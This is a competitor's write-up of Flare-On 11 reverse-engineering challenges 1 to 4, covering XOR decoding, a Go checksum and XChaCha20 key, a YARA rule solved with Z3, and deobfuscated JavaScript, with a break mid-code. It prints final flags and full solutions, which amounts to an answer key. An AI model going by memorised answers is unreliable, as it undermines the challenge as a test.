Flare-On 11 Write-Up
Hi everyone, I'm SuperFashi, a Reverse Engineer at GMO Cybersecurity by Ierae, Inc. Just like previous years, I participated in the 11th annual Flare-On reverse engineering challenge. This year I got the 5th place, solving all challenges in around 5 days.
My collegue Furukawa-san also has a Write-Up in Japanese over here https://gmo-cybersecurity.com/blog/flare-on-11-write-up-ja/, please check it out.
Before going into the write-up, here's a message from our sponsor 😀
Ierae is looking for cybersecurity talents from all over the world! We are a cybersecurity company under GMO Internet Group located in Shibuya, Tokyo, Japan. From forensics and SOC to Web/IoT penetration, we provide a wide range of services and hence need a variety of talents. Our company adapts a flexible work model that includes hybrid work options and flextime. We offer support with relocation to Tokyo, and provide opportunities for remote work from abroad. Japanese language skills are preferred but not required for some departments. If you are interested, please check https://gmo-cybersecurity.com/recruit/contact/ or contact me personally at superfashi@gmo-cybersecurity.com.
1 - frog
For the first challenge, we are given a game written in Python. Luckily the source code is also given, so let's dig into the source code directly.
The source code is not that long, and quickly we noticed the GenerateFlagText
function. If we read this line closely:
return ''.join([chr(ord(c) ^ key) for c in encoded])
It seems to be XOR'ing every character in a constant string with a "key." We don't know the key yet, but we can know that key is a single byte, unchanged for any location of the encoded string.
Because of this, I thought of three approaches to this problem:
- Find out what the key is, by reading more code.
- Brute-force all possible keys.
- Calculate the key by known-plaintext attack.
While 1 is probably the "intended" way to solve the challenge, it would be interesting (and time-saving) to think about 2 and 3 first:
For 2, because the key is a single byte, there's only 256 possible options for the key to be. We can simply try out all the possible keys and find out the flag by eye-balling the decrypted text. Here's a CyberChef recipe for it:
For 3, If you read the description of the challenge closely, you should notice that
All flags in this event are formatted as email addresses ending with the @flare-on.com domain.
Which gives us a (portion of) plaintext. We can XOR the known-part of the plaintext to the end of the cipher-text using a Python script:
>>> encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
>>> known = "@flare-on.com"
>>> [ord(k) ^ ord(c) for (k, c) in zip(known, encoded[-len(known):])]
[210, 210, 210, 210, 210, 210, 210, 210, 210, 210, 210, 210, 210]
>>> "".join(chr(ord(c) ^ 210) for c in encoded)
'welcome_to_11@flare-on.com'
Which gives us the key to be 210 (or 0xd2 in hex). XOR it with the encoded string and we get the flag.
Now let's see how to solve this challenge properly. Looking at the entire code, there's only one place that uses GenerateFlagText
:
if player.x == victory_tile.x and player.y == victory_tile.y:
...
flag_text = GenerateFlagText(player.x, player.y)
This means, the flag would be decrypted if the input is the correct player.x
and player.y
. It is only correct when they are equal to victory_tile.x
and victory_tile.y
. At the beginning of the file, we see that
victory_tile = pygame.Vector2(10, 10)
Meaning that the correct input to GenerateFlagText
would be (10, 10)
. So we input it and get the flag:
>>> GenerateFlagText(10, 10)
'welcome_to_11@flare-on.com'
2 - checksum
We are given a single .exe
PE executable in AMD64 arch. Opening it with Ghidra, we see that it is built with Go 1.22.2.
However, although Ghidra (and IDA) claims to have good Golang support, in real situations like this one, I found that the decompiled code is still a bit hard to read. The strings are not processed good enough, and function call arguments and return values are all over the place because of the non-conventional calling convention.
When in doubt, remember to always consult the disassembler.
Since it is Go, let's go to main.main
function. First, we are met with a for loop. In each loop, it generates two random values and ask the user to input the sum. It does this for a random number of times. However, this part does not contribute to the following process, so we can safely ignore it.
After the for loop, it asks for a new input "Checksum." Based on the checks after input, it needs to be a hex string which decodes to a 32-byte data. Using this decoded 32-byte data as a key, it creates a XChaCha20-Poly1305 AEAD cipher (notice the X here). Then, it calls the Open
method on the cipher to decrypt main.encryptedFlagData
, which is a constant data of size 0x2c52c. Note that it uses the first 24 bytes of the key as the nonce. The whole process basically boils down to:
key := hex.DecodeString(input)
cipher := chacha20poly1305.NewX(key)
decrypted := cipher.Open(nil, key[:24], main.encryptedFlagData, nil)
We don't know the key yet. It is also non-brute-forceable as it is 32 bytes long. Let's continue reading the code:
First, it uses SHA 256 to hash the decrypted data. Then, it turns the hash into hex and compare it with the input hex string (checksum). If it is the same, it calls function main.a
with the input hex string. If the function call returns true, it will finally output the decrypted data to {os.UserCacheDir()}\REAL_FLAREON_FLAG.JPG
.
So let's take a look at what main.a
does—it's actually not that complicated. We see that it first XOR's the input string with a constant string FlareOn2024
. Then it encodes the XOR'd string to base64, and compare it with a constant string cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA==
. So to get the input, all we need to do is to reverse this process:
So the checksum hex input we are looking for is 7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd
!
Now we have this, we can simply write a script to do the decryption, but where’s the fun in that? What I like to do, is to simply run the program and have it presents us the flag:
And we found the flag image in %LocalAppData%\REAL_FLAREON_FLAG.jpg
, just as expected.
3 - aray
We are given a single aray.yara
file. YARA file is basically a rule file for detecting certain file patterns. It is used widely in detecting malicious programs/files by antivirus softwares.
For the YARA file we are given, if we look at the condition
section, we can see it’s basically hundreds of rules chained together using and
. For a target file to match, we essentially want to satisfy all the conditions.
We can categorize the conditions into the following categories:
- The first condition is specially indicating the file contains 85 bytes.
- The second condition is specially indicating the file’s MD5 hash is
b7dc94ca98aa58dabb5404541c812db2
. - Conditions that are normal linear operations can be translated to Z3 expressions directly. A few examples:
filesize ^ uint8(11) != 107
→filesize ^ flag[11] != 107
uint8(55) & 128 == 0
→flag[55] & 128 == 0
uint8(48) % 12 < 12
→ULT(flag[48] % 12, 12)
-
Conditions that are hashes at first glance seems impossible to be solved by Z3. However, if we take a more closer look, all the hashes are done only on exactly 2 bytes. Therefore, we can write “solve” functions that looks like the following
def crc32_solve(index, size, target): assert size == 2 for i in range(256): for j in range(256): if binascii.crc32(bytearray((i, j))) == target: return flag[index] == i and flag[index + 1] == j def md5_solve(index, size, target): assert size == 2 for i in range(256): for j in range(256): if hashlib.md5(bytearray((i, j))).hexdigest() == target: return flag[index] == i and flag[index + 1] == j def sha256_solve(index, size, target): assert size == 2 for i in range(256): for j in range(256): if hashlib.sha256(bytearray((i, j))).hexdigest() == target: return flag[index] == i and flag[index + 1] == j
Which essentially brute forces the possible plaintext and find out the solution.
Also note that sometimes uint32
pops up. Things like this are a bit annoying because it’s gonna take sometime to figure out if uint32
in YARA rules are little-, big- or native-endian. In my case, I just tried both and see which one gives SAT result. Or of course you can believe in AI:
Anyway, these are the Z3 conditions after conversion:
filesize = 85
flag = [z3.BitVec(f'f{i}', 8) for i in range(filesize)]
conds = [filesize ^ flag[11] != 107,
flag[55] & 128 == 0,
flag[58] + 25 == 122,
flag[7] & 128 == 0,
z3.ULT(flag[48] % 12, 12),
z3.UGT(flag[17], 31),
z3.UGT(flag[68], 10),
z3.ULT(flag[56], 155),
uint32(52) ^ 425706662 == 1495724241,
z3.ULT(flag[0] % 25, 25),
filesize ^ flag[75] != 25,
filesize ^ flag[28] != 12,
z3.ULT(flag[35], 160),
flag[3] & 128 == 0,
flag[56] & 128 == 0,
z3.ULT(flag[28] % 27, 27),
z3.UGT(flag[4], 30),
flag[15] & 128 == 0,
z3.ULT(flag[68] % 19, 19),
z3.ULT(flag[19], 151),
filesize ^ flag[73] != 17,
filesize ^ flag[31] != 5,
z3.ULT(flag[38] % 24, 24),
z3.UGT(flag[3], 21),
flag[54] & 128 == 0,
filesize ^ flag[66] != 146,
uint32(17) - 323157430 == 1412131772,
crc32_solve(8, 2, 0x61089c5c),
filesize ^ flag[77] != 22,
z3.ULT(flag[75] % 24, 24),
z3.ULT(flag[66], 133),
z3.ULT(flag[21] % 11, 11),
z3.ULT(flag[46], 154),
crc32_solve(34, 2, 0x5888fc1b),
z3.UGT(flag[55], 5),
flag[36] + 4 == 72,
filesize ^ flag[82] != 228,
filesize ^ flag[13] != 42,
filesize ^ flag[6] != 39,
z3.ULT(flag[33], 160),
filesize ^ flag[55] != 244,
filesize ^ flag[15] != 205,
filesize ^ flag[3] != 43,
filesize ^ flag[54] != 39,
flag[28] & 128 == 0,
z3.ULT(flag[10], 146),
filesize ^ flag[56] != 246,
filesize ^ flag[32] != 77,
z3.UGT(flag[73], 26),
z3.UGT(flag[36], 11),
z3.UGT(flag[70], 6),
filesize ^ flag[33] != 27,
flag[48] & 128 == 0,
filesize ^ flag[74] != 45,
flag[27] ^ 21 == 40,
z3.ULT(flag[60] % 23, 23),
filesize ^ flag[67] != 63,
filesize ^ flag[0] != 16,
z3.ULT(flag[51] % 15, 15),
z3.UGT(flag[50], 19),
z3.ULT(flag[27], 147),
filesize ^ flag[40] != 230,
filesize ^ flag[2] != 205,
z3.ULT(flag[79] % 24, 24),
z3.ULT(flag[69], 148),
flag[16] & 128 == 0,
z3.ULT(flag[61] % 26, 26),
z3.UGT(flag[63], 31),
flag[14] & 128 == 0,
z3.UGT(flag[35], 1),
filesize ^ flag[11] != 33,
z3.ULT(flag[52], 136),
z3.UGT(flag[54], 15),
filesize ^ flag[20] != 83,
z3.UGT(flag[43], 24),
z3.ULT(flag[82], 152),
uint32(59) ^ 512952669 == 1908304943,
filesize ^ flag[79] != 186,
filesize ^ flag[83] != 197,
z3.ULT(flag[39], 134),
filesize ^ flag[43] != 33,
z3.UGT(flag[72], 10),
z3.ULT(flag[83], 134),
z3.ULT(flag[44] % 27, 27),
z3.ULT(flag[40], 131),
z3.ULT(flag[80] % 31, 31),
filesize ^ flag[47] != 11,
z3.ULT(flag[55] % 11, 11),
filesize ^ flag[71] != 3,
flag[65] - 29 == 70,
z3.UGT(flag[58], 30),
filesize ^ flag[37] != 37,
z3.ULT(flag[60], 130),
flag[27] & 128 == 0,
z3.ULT(flag[3], 141),
flag[73] & 128 == 0,
filesize ^ flag[70] != 209,
filesize ^ flag[2] != 54,
filesize ^ flag[20] != 17,
z3.UGT(flag[33], 18),
z3.ULT(flag[37] % 19, 19),
filesize ^ flag[62] != 15,
filesize ^ flag[10] != 44,
z3.ULT(flag[7] % 12, 12),
z3.UGT(flag[71], 19),
filesize ^ flag[50] != 86,
flag[45] ^ 9 == 104,
z3.ULT(flag[8], 133),
z3.ULT(flag[31], 145),
z3.UGT(flag[14], 20),
z3.ULT(flag[54] % 25, 25),
filesize ^ flag[49] != 156,
z3.UGT(flag[47], 13),
z3.UGT(flag[29], 22),
z3.ULT(flag[14] % 19, 19),
filesize ^ flag[17] != 16,
filesize ^ flag[12] != 226,
filesize ^ flag[65] != 28,
flag[45] & 128 == 0,
filesize ^ flag[6] != 129,
z3.ULT(flag[18] % 30, 30),
filesize ^ flag[62] != 246,
z3.ULT(flag[78] % 13, 13),
flag[36] & 128 == 0,
flag[10] & 128 == 0,
z3.UGT(flag[62], 1),
flag[33] & 128 == 0,
filesize ^ flag[83] != 31,
z3.ULT(flag[83] % 21, 21),
z3.UGT(flag[11], 18),
z3.ULT(flag[80], 143),
z3.ULT(flag[81] % 14, 14),
z3.ULT(flag[43], 160),
z3.UGT(flag[1], 19),
z3.ULT(flag[42] % 17, 17),
z3.ULT(flag[44], 147),
filesize ^ flag[63] != 34,
filesize ^ flag[44] != 17,
uint32(28) - 419186860 == 959764852,
flag[74] + 11 == 116,
z3.ULT(flag[48], 136),
z3.ULT(flag[47], 142),
crc32_solve(63, 2, 0x66715919),
z3.ULT(flag[58], 146),
filesize ^ flag[71] != 128,
z3.ULT(flag[45], 136),
z3.ULT(flag[31] % 17, 17),
flag[43] & 128 == 0,
filesize ^ flag[43] != 251,
z3.UGT(flag[65], 1),
flag[24] & 128 == 0,
z3.ULT(flag[37], 139),
filesize ^ flag[28] != 238,
flag[78] & 128 == 0,
filesize ^ flag[13] != 219,
z3.ULT(flag[19] % 30, 30),
sha256_solve(14, 2, "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f"),
filesize ^ flag[53] != 243,
flag[81] & 128 == 0,
z3.ULT(flag[46] % 28, 28),
filesize ^ flag[65] != 215,
filesize ^ flag[0] != 41,
z3.ULT(flag[84], 129),
flag[60] & 128 == 0,
z3.UGT(flag[20], 1),
z3.ULT(flag[2] % 28, 28),
z3.ULT(flag[58] % 14, 14),
flag[34] & 128 == 0,
flag[21] & 128 == 0,
z3.ULT(flag[84] % 18, 18),
z3.ULT(flag[74] % 10, 10),
z3.ULT(flag[9], 151),
z3.ULT(flag[73] % 23, 23),
filesize ^ flag[39] != 49,
z3.ULT(flag[4] % 17, 17),
filesize ^ flag[60] != 142,
filesize ^ flag[69] != 30,
z3.UGT(flag[30], 6),
flag[65] & 128 == 0,
z3.ULT(flag[39] % 11, 11),
z3.ULT(flag[13] % 27, 27),
z3.ULT(flag[17] % 11, 11),
z3.ULT(flag[56] % 26, 26),
z3.ULT(flag[29], 157),
flag[57] & 128 == 0,
filesize ^ flag[29] != 37,
z3.UGT(flag[77], 5),
filesize ^ flag[16] != 144,
flag[37] & 128 == 0,
filesize ^ flag[25] != 47,
flag[67] & 128 == 0,
filesize ^ flag[24] != 94,
z3.ULT(flag[68], 138),
z3.ULT(flag[57], 138),
filesize ^ flag[27] != 43,
filesize ^ flag[30] != 18,
filesize ^ flag[59] != 13,
z3.ULT(flag[27] % 26, 26),
z3.UGT(flag[56], 8),
flag[69] & 128 == 0,
flag[18] & 128 == 0,
z3.ULT(flag[64], 154),
flag[76] & 128 == 0,
z3.ULT(flag[71] % 28, 28),
filesize ^ flag[84] != 3,
filesize ^ flag[38] != 84,
z3.ULT(flag[32], 140),
filesize ^ flag[42] != 91,
z3.UGT(flag[40], 15),
z3.UGT(flag[27], 23),
z3.ULT(flag[6] % 12, 12),
z3.ULT(flag[10] % 10, 10),
z3.ULT(flag[8] % 21, 21),
filesize ^ flag[18] != 234,
flag[68] & 128 == 0,
z3.ULT(flag[7], 131),
z3.ULT(flag[72], 134),
z3.UGT(flag[16], 25),
z3.ULT(flag[12] % 23, 23),
z3.ULT(flag[41] % 27, 27),
z3.ULT(flag[1] % 17, 17),
z3.UGT(flag[26], 31),
sha256_solve(56, 2, "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"),
z3.ULT(flag[65], 149),
filesize ^ flag[51] != 0,
z3.UGT(flag[66], 30),
filesize ^ flag[68] != 8,
z3.ULT(flag[25] % 23, 23),
flag[1] & 128 == 0,
filesize ^ flag[81] != 7,
z3.ULT(flag[36] % 22, 22),
z3.ULT(flag[24], 148),
z3.ULT(flag[12], 147),
z3.ULT(flag[74], 152),
filesize ^ flag[21] != 27,
filesize ^ flag[23] != 18,
flag[38] & 128 == 0,
z3.ULT(flag[26] % 25, 25),
filesize ^ flag[19] != 31,
z3.UGT(flag[82], 3),
z3.ULT(flag[5] % 27, 27),
flag[5] & 128 == 0,
flag[75] - 30 == 86,
z3.ULT(flag[54], 152),
z3.ULT(flag[75], 142),
z3.ULT(flag[20] % 28, 28),
flag[30] & 128 == 0,
uint32(66) ^ 310886682 == 849718389,
z3.ULT(flag[64] % 24, 24),
uint32(10) + 383041523 == 2448764514,
flag[79] & 128 == 0,
filesize ^ flag[59] != 194,
flag[61] & 128 == 0,
z3.ULT(flag[70], 139),
flag[77] & 128 == 0,
flag[13] & 128 == 0,
z3.ULT(flag[21], 138),
filesize ^ flag[46] != 186,
z3.ULT(flag[43] % 26, 26),
z3.ULT(flag[61], 160),
filesize ^ flag[34] != 39,
z3.UGT(flag[6], 6),
flag[35] & 128 == 0,
z3.ULT(flag[23], 141),
filesize ^ flag[82] != 32,
filesize ^ flag[48] != 29,
flag[59] & 128 == 0,
z3.ULT(flag[40] % 19, 19),
filesize ^ flag[39] != 18,
filesize ^ flag[45] != 146,
flag[80] & 128 == 0,
z3.ULT(flag[16], 134),
z3.UGT(flag[74], 1),
flag[23] & 128 == 0,
flag[32] & 128 == 0,
filesize ^ flag[47] != 119,
filesize ^ flag[63] != 135,
z3.UGT(flag[64], 27),
uint32(37) + 367943707 == 1228527996,
z3.ULT(flag[82] % 28, 28),
z3.UGT(flag[32], 28),
filesize ^ flag[24] != 217,
z3.ULT(flag[53], 144),
flag[29] & 128 == 0,
uint32(22) ^ 372102464 == 1879700858,
z3.ULT(flag[52] % 23, 23),
filesize ^ flag[76] != 88,
filesize ^ flag[55] != 17,
flag[26] & 128 == 0,
z3.UGT(flag[51], 7),
z3.UGT(flag[12], 19),
filesize ^ flag[14] != 99,
filesize ^ flag[37] != 141,
filesize ^ flag[14] != 161,
z3.ULT(flag[45] % 17, 17),
z3.ULT(flag[33] % 25, 25),
filesize ^ flag[67] != 55,
filesize ^ flag[53] != 19,
z3.ULT(flag[30], 131),
flag[0] & 128 == 0,
flag[66] & 128 == 0,
z3.UGT(flag[41], 5),
flag[71] & 128 == 0,
z3.ULT(flag[29] % 12, 12),
z3.ULT(flag[4], 139),
z3.ULT(flag[77], 154),
filesize ^ flag[12] != 116,
z3.UGT(flag[39], 7),
flag[75] & 128 == 0,
z3.UGT(flag[78], 24),
z3.UGT(flag[69], 25),
flag[2] + 11 == 119,
z3.ULT(flag[15], 156),
filesize ^ flag[69] != 241,
filesize ^ flag[35] != 18,
filesize ^ flag[17] != 208,
md5_solve(0, 2, "89484b14b36a8d5329426a3d944d2983"),
filesize ^ flag[4] != 23,
z3.ULT(flag[15] % 16, 16),
filesize ^ flag[75] != 35,
uint32(46) - 412326611 == 1503714457,
z3.ULT(flag[11] % 27, 27),
crc32_solve(78, 2, 0x7cab8d64),
flag[83] & 128 == 0,
filesize ^ flag[26] != 161,
z3.ULT(flag[49] % 13, 13),
filesize ^ flag[18] != 33,
z3.ULT(flag[6], 155),
z3.ULT(flag[41], 140),
filesize ^ flag[68] != 135,
filesize ^ flag[9] != 5,
flag[9] & 128 == 0,
filesize ^ flag[36] != 95,
z3.UGT(flag[7], 18),
filesize ^ flag[23] != 242,
z3.ULT(flag[62], 146),
flag[49] & 128 == 0,
flag[62] & 128 == 0,
flag[4] & 128 == 0,
filesize ^ flag[58] != 12,
flag[72] & 128 == 0,
z3.UGT(flag[18], 13),
filesize ^ flag[42] != 1,
z3.ULT(flag[59] % 23, 23),
flag[53] & 128 == 0,
filesize ^ flag[78] != 163,
z3.UGT(flag[60], 14),
z3.ULT(flag[47] % 18, 18),
z3.UGT(flag[79], 31),
z3.ULT(flag[22], 152),
filesize ^ flag[64] != 50,
filesize ^ flag[19] != 222,
z3.ULT(flag[81], 131),
flag[7] - 15 == 82,
filesize ^ flag[51] != 204,
z3.UGT(flag[28], 27),
uint32(70) + 349203301 == 2034162376,
filesize ^ flag[61] != 94,
z3.UGT(flag[76], 2),
filesize ^ flag[77] != 223,
z3.UGT(flag[19], 4),
z3.UGT(flag[80], 2),
filesize ^ flag[35] != 120,
filesize ^ flag[22] != 31,
z3.UGT(flag[10], 9),
z3.UGT(flag[22], 20),
z3.ULT(flag[38], 135),
filesize ^ flag[10] != 205,
flag[25] & 128 == 0,
z3.ULT(flag[13], 147),
flag[42] & 128 == 0,
md5_solve(76, 2, "f98ed07a4d5f50f7de1410d905f1477f"),
filesize ^ flag[48] != 99,
filesize ^ flag[16] != 7,
z3.ULT(flag[11], 154),
filesize ^ flag[76] != 30,
z3.ULT(flag[30] % 15, 15),
filesize ^ flag[74] != 193,
filesize ^ flag[52] != 22,
filesize ^ flag[36] != 6,
z3.ULT(flag[22] % 22, 22),
flag[44] & 128 == 0,
flag[50] & 128 == 0,
filesize ^ flag[25] != 224,
z3.UGT(flag[15], 26),
filesize ^ flag[60] != 43,
flag[22] & 128 == 0,
flag[82] & 128 == 0,
uint32(80) - 473886976 == 69677856,
z3.UGT(flag[75], 30),
z3.ULT(flag[32] % 17, 17),
filesize ^ flag[15] != 27,
z3.ULT(flag[67] % 16, 16),
z3.UGT(flag[23], 2),
z3.ULT(flag[62] % 13, 13),
z3.ULT(flag[34], 138),
filesize ^ flag[31] != 32,
z3.ULT(flag[72] % 14, 14),
filesize ^ flag[81] != 242,
filesize ^ flag[54] != 141,
flag[63] & 128 == 0,
z3.ULT(flag[0], 129),
z3.ULT(flag[70] % 21, 21),
flag[8] & 128 == 0,
z3.UGT(flag[61], 12),
z3.UGT(flag[24], 22),
z3.ULT(flag[53] % 23, 23),
flag[46] & 128 == 0,
z3.ULT(flag[24] % 26, 26),
uint32(3) ^ 298697263 == 2108416586,
flag[21] - 21 == 94,
z3.ULT(flag[67], 144),
z3.UGT(flag[48], 15),
z3.UGT(flag[37], 16),
z3.ULT(flag[42], 157),
flag[16] ^ 7 == 115,
z3.UGT(flag[13], 21),
filesize ^ flag[45] != 19,
flag[47] & 128 == 0,
filesize ^ flag[80] != 56,
filesize ^ flag[78] != 6,
z3.ULT(flag[76] % 24, 24),
z3.ULT(flag[73], 136),
filesize ^ flag[52] != 238,
z3.ULT(flag[50] % 11, 11),
filesize ^ flag[7] != 15,
filesize ^ flag[66] != 51,
z3.UGT(flag[59], 4),
z3.UGT(flag[46], 22),
filesize ^ flag[3] != 147,
z3.ULT(flag[63] % 30, 30),
z3.ULT(flag[36], 146),
z3.ULT(flag[26], 132),
flag[6] & 128 == 0,
filesize ^ flag[30] != 249,
uint32(41) + 404880684 == 1699114335,
filesize ^ flag[5] != 243,
flag[70] & 128 == 0,
z3.ULT(flag[9] % 22, 22),
z3.ULT(flag[59], 141),
filesize ^ flag[79] != 104,
filesize ^ flag[5] != 43,
filesize ^ flag[72] != 219,
z3.UGT(flag[52], 25),
flag[74] & 128 == 0,
z3.ULT(flag[28], 160),
flag[51] & 128 == 0,
md5_solve(50, 2, "657dae0913ee12be6fb2a6f687aae1c7"),
z3.UGT(flag[83], 16),
z3.UGT(flag[31], 7),
flag[84] & 128 == 0,
filesize ^ flag[46] != 18,
z3.UGT(flag[2], 20),
z3.ULT(flag[5], 158),
filesize ^ flag[32] != 30,
filesize ^ flag[50] != 219,
flag[26] - 7 == 25,
z3.UGT(flag[53], 24),
z3.ULT(flag[77] % 24, 24),
z3.ULT(flag[3] % 13, 13),
filesize ^ flag[9] != 164,
filesize ^ flag[80] != 236,
z3.ULT(flag[65] % 22, 22),
filesize ^ flag[84] != 231,
filesize ^ flag[49] != 10,
z3.UGT(flag[67], 27),
z3.ULT(flag[34] % 19, 19),
flag[64] & 128 == 0,
filesize ^ flag[27] != 244,
flag[12] & 128 == 0,
z3.ULT(flag[51], 139),
z3.ULT(flag[35] % 15, 15),
z3.UGT(flag[5], 14),
filesize ^ flag[34] != 115,
filesize ^ flag[38] != 8,
filesize ^ flag[72] != 37,
flag[20] & 128 == 0,
z3.ULT(flag[17], 150),
filesize ^ flag[70] != 41,
z3.ULT(flag[66] % 16, 16),
flag[17] & 128 == 0,
flag[19] & 128 == 0,
filesize ^ flag[33] != 157,
z3.UGT(flag[21], 7),
flag[58] & 128 == 0,
z3.ULT(flag[71], 130),
flag[41] & 128 == 0,
z3.UGT(flag[57], 11),
md5_solve(32, 2, "738a656e8e8ec272ca17cd51e12f558b"),
filesize ^ flag[8] != 2,
filesize ^ flag[57] != 186,
flag[11] & 128 == 0,
z3.ULT(flag[2], 147),
z3.ULT(flag[23] % 16, 16),
z3.ULT(flag[78], 141),
z3.UGT(flag[38], 18),
filesize ^ flag[41] != 233,
z3.ULT(flag[18], 137),
flag[40] & 128 == 0,
filesize ^ flag[21] != 188,
filesize ^ flag[57] != 14,
filesize ^ flag[4] != 253,
z3.ULT(flag[14], 153),
flag[31] & 128 == 0,
z3.UGT(flag[81], 11),
flag[2] & 128 == 0,
filesize ^ flag[22] != 191,
z3.UGT(flag[44], 5),
flag[84] + 3 == 128,
z3.ULT(flag[20], 135),
filesize ^ flag[73] != 61,
filesize ^ flag[26] != 44,
z3.ULT(flag[1], 158),
filesize ^ flag[29] != 158,
z3.ULT(flag[49], 129),
filesize ^ flag[64] != 158,
z3.ULT(flag[25], 154),
z3.ULT(flag[63], 129),
z3.UGT(flag[84], 26),
flag[39] & 128 == 0,
z3.UGT(flag[25], 27),
z3.UGT(flag[49], 27),
z3.UGT(flag[9], 23),
filesize ^ flag[7] != 221,
z3.ULT(flag[50], 138),
z3.ULT(flag[76], 156),
filesize ^ flag[61] != 239,
z3.ULT(flag[57] % 27, 27),
filesize ^ flag[8] != 107,
z3.ULT(flag[79], 146),
filesize ^ flag[40] != 49,
z3.UGT(flag[0], 30),
z3.UGT(flag[45], 17),
z3.ULT(flag[16] % 31, 31),
filesize ^ flag[1] != 232,
filesize ^ flag[56] != 22,
z3.UGT(flag[42], 3),
flag[52] & 128 == 0,
z3.ULT(flag[69] % 30, 30),
z3.ULT(flag[55], 153),
filesize ^ flag[41] != 74,
filesize ^ flag[1] != 0,
filesize ^ flag[44] != 96,
filesize ^ flag[58] != 77,
z3.UGT(flag[34], 18),
z3.UGT(flag[8], 3),
]
Let’s have Z3 solve it then… Wait, the solution doesn’t look correct:
rvle flardon { [trings: $f = "1Ru;e5DayK33p$Malw4r36w4y@fIare-on<com" conditivn $f }
Alright, we run into the classic CTF reversing problem that involves Z3: multiple solutions. Normally the author is the one to blame here, cause from now on it’s basically guessing game.
Note a few thing: the file does not only contain the flag string as I originally assumed. So we can make a few educated guess:
- The file looks like it should be fully printable characters, so we add the constraint for that.
- The middle string looks like the flag. So it must ends with
@flare-on.com
.
r6le flardon { ;trings: $f = "1Ruse,DayK33p$Malw4r3iw4y@flare-on.com" conditionP $f }
Oh no it’s still not good. Ok let’s make a few more guessses.
- That
flardon
looks likeflareon
. - That
;trings
looks likestrings
.
rWle flareon { strings: $f = "1Ru3e,DayK33p$Malw4r3>w4y@flare-on.com" conditionx $f }
Still not enough. At this point I suddenly noticed that this looks like a YARA rule. So we guess
rWle
is actuallyrule
.conditionx
is actuallycondition:
.
rule flareon { strings: $f = "1Ru8eKDayK33p$Malw4r3<w4y@flare-on.com" condition: $f }
Nope, still not accepted. At this point we have to rely on printing out all the possible solutions and maybe we can get some info out of it.
Here’s a short tutorial of how to get a new solution from Z3 if you already have one solution: Say you flag characters are stored in array flag
, and the model you get from the solver is model
. A new solution means that at least one of the flag character is different from the original solution. This translates to the condition that flag[i] != model[flag[i]]
for at least one character position i
. If we write it out in one line, it would be
z3.Or(*(f != model[f] for f in flag))
So we print out some solutions and stare at them. I see that only 3 bytes are changing, which are the bytes at index 33, 35 and 51. Since there are only 3 bytes, we can brute force it:
for i in range(32, 128):
for j in range(32, 128):
for k in range(32, 128):
flag[33] = i
flag[35] = j
flag[51] = k
if hashlib.md5(flag).hexdigest() == "b7dc94ca98aa58dabb5404541c812db2":
print(flag)
exit(0)
And finally we have the whole file that contains the correct flag:
rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f }
4 - Meme Maker 3000
We are given a single HTML file with a obfuscated JavaScript inside. The first step would be to deobfuscate it. Luckily for us there are already existing tools for that. I’m using deobfuscate.relative.im and it gives a nice result (the Base64s are truncated):
const a0c = [
'When you find a buffer overflow in legacy code',
'Reverse Engineer',
'When you decompile the obfuscated code and it makes perfect sense',
'Me after a week of reverse engineering',
'When your decompiler crashes',
"It's not a bug, it'a a feature",
"Security 'Expert'",
'AI',
"That's great, but can you hack it?",
'When your code compiles for the first time',
"If it ain't broke, break it",
"Reading someone else's code",
'EDR',
'This is fine',
'FLARE On',
"It's always DNS",
'strings.exe',
"Don't click on that.",
'When you find the perfect 0-day exploit',
'Security through obscurity',
'Instant Coffee',
'H@x0r',
'Malware',
'$1,000,000',
'IDA Pro',
'Security Expert',
],
a0d = {
doge1: [
['75%', '25%'],
['75%', '82%'],
],
boy_friend0: [
['75%', '25%'],
['40%', '60%'],
['70%', '70%'],
],
draw: [['30%', '30%']],
drake: [
['10%', '75%'],
['55%', '75%'],
],
two_buttons: [
['10%', '15%'],
['2%', '60%'],
],
success: [['75%', '50%']],
disaster: [['5%', '50%']],
aliens: [['5%', '50%']],
},
a0e = {
'doge1.png':
'data:image/png; <truncated>',
'draw.jpg':
'data:image/jpeg; <truncated>',
'drake.jpg':
'data:image/jpeg; <truncated>',
'two_buttons.jpg':
'data:image/jpeg; <truncated>',
'fish.jpg':
'data:binary/red; <truncated>',
'boy_friend0.jpg':
'data:image/jpeg; <truncated>',
'success.jpg':
'data:image/jpeg; <truncated>',
'disaster.jpg':
'data:image/jpeg; <truncated>',
'aliens.jpg':
'data:image/jpeg; <truncated>',
}
function a0f() {
document.getElementById('caption1').hidden = true
document.getElementById('caption2').hidden = true
document.getElementById('caption3').hidden = true
const a = document.getElementById('meme-template')
var b = a.value.split('.')[0]
a0d[b].forEach(function (c, d) {
var e = document.getElementById('caption' + (d + 1))
e.hidden = false
e.style.top = a0d[b][d][0]
e.style.left = a0d[b][d][1]
e.textContent = a0c[Math.floor(Math.random() * (a0c.length - 1))]
})
}
a0f()
const a0g = document.getElementById('meme-image'),
a0h = document.getElementById('meme-container'),
a0i = document.getElementById('remake'),
a0j = document.getElementById('meme-template')
a0g.src = a0e[a0j.value]
a0j.addEventListener('change', () => {
a0g.src = a0e[a0j.value]
a0g.alt = a0j.value
a0f()
})
a0i.addEventListener('click', () => {
a0f()
})
function a0k() {
const a = a0g.alt.split('/').pop()
if (a !== Object.keys(a0e)[5]) {
return
}
const b = a0l.textContent,
c = a0m.textContent,
d = a0n.textContent
if (
a0c.indexOf(b) == 14 &&
a0c.indexOf(c) == a0c.length - 1 &&
a0c.indexOf(d) == 22
) {
var e = new Date().getTime()
while (new Date().getTime() < e + 3000) {}
var f =
d[3] +
'h' +
a[10] +
b[2] +
a[3] +
c[5] +
c[c.length - 1] +
'5' +
a[3] +
'4' +
a[3] +
c[2] +
c[4] +
c[3] +
'3' +
d[2] +
a[3] +
'j4' +
a0c[1][2] +
d[4] +
'5' +
c[2] +
d[5] +
'1' +
c[11] +
'7' +
a0c[21][1] +
b.replace(' ', '-') +
a[11] +
a0c[4].substring(12, 15)
